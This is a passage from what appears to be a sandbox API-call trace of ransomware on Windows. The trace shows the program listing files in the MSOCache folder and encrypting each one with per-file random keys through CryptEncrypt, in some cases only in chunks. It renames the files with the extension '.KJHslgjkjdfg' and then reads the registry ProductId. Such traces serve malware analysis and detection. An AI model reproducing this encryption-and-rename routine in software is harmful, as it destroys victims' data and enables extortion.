nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0155.684] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.684] GetProcessHeap () returned 0x990000 [0155.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.684] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.684] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.684] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xa, lpOverlapped=0x0) returned 1 [0155.687] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.687] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.687] GetProcessHeap () returned 0x990000 [0155.687] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.687] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0155.687] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.687] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0155.687] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.688] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.688] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.688] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.688] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.688] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.688] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.688] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x646, lpOverlapped=0x0) returned 1 [0155.688] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x650, dwBufLen=0x650 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x650) returned 1 [0155.688] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.688] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x650, lpOverlapped=0x0) returned 1 [0155.689] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.689] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.689] SetEndOfFile (hFile=0x124) returned 1 [0155.692] GetProcessHeap () returned 0x990000 [0155.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.692] GetProcessHeap () returned 0x990000 [0155.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.692] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.kjhslgjkjdfg")) returned 1 [0155.699] CloseHandle (hObject=0x124) returned 1 [0155.699] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0155.699] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.701] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=17456632) returned 1 [0155.701] GetProcessHeap () returned 0x990000 [0155.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.701] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.701] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.701] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.704] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.704] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.704] GetProcessHeap () returned 0x990000 [0155.704] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.704] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0155.704] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.704] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0155.704] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.705] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.705] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.705] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.705] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.705] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.705] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.705] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.705] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.713] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.719] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.719] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.721] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.721] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.721] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.721] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.732] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.735] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.736] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.737] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.737] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.737] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1065e00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.737] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.744] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.747] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1065e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.747] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.748] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.748] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.748] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.748] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.748] SetEndOfFile (hFile=0x124) returned 1 [0155.752] GetProcessHeap () returned 0x990000 [0155.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.752] GetProcessHeap () returned 0x990000 [0155.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.752] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.kjhslgjkjdfg")) returned 1 [0155.753] CloseHandle (hObject=0x124) returned 1 [0155.753] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0155.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.754] GetProcessHeap () returned 0x990000 [0155.754] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.754] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.754] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.754] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xc, lpOverlapped=0x0) returned 1 [0155.756] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.756] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.756] GetProcessHeap () returned 0x990000 [0155.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0155.756] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0155.756] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.756] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0155.756] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.756] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.756] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.756] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.757] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.757] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.757] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.757] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.757] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x7c4, lpOverlapped=0x0) returned 1 [0155.757] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x7d0) returned 1 [0155.757] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.757] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x7d0, lpOverlapped=0x0) returned 1 [0155.757] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.757] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.757] SetEndOfFile (hFile=0x124) returned 1 [0155.759] GetProcessHeap () returned 0x990000 [0155.759] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0155.759] GetProcessHeap () returned 0x990000 [0155.759] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.759] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0155.760] CloseHandle (hObject=0x124) returned 1 [0155.760] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0155.760] GetProcessHeap () returned 0x990000 [0155.760] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.760] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.760] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0155.761] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.761] GetProcessHeap () returned 0x990000 [0155.761] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0155.761] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.761] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0155.761] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.761] GetProcessHeap () returned 0x990000 [0155.761] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0155.761] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.761] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0155.761] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.761] GetProcessHeap () returned 0x990000 [0155.761] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0155.761] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.761] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0155.761] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.761] GetProcessHeap () returned 0x990000 [0155.761] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.761] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.762] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0155.762] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.762] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0155.762] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0155.762] RegCloseKey (hKey=0x124) returned 0x0 [0155.762] GetProcessHeap () returned 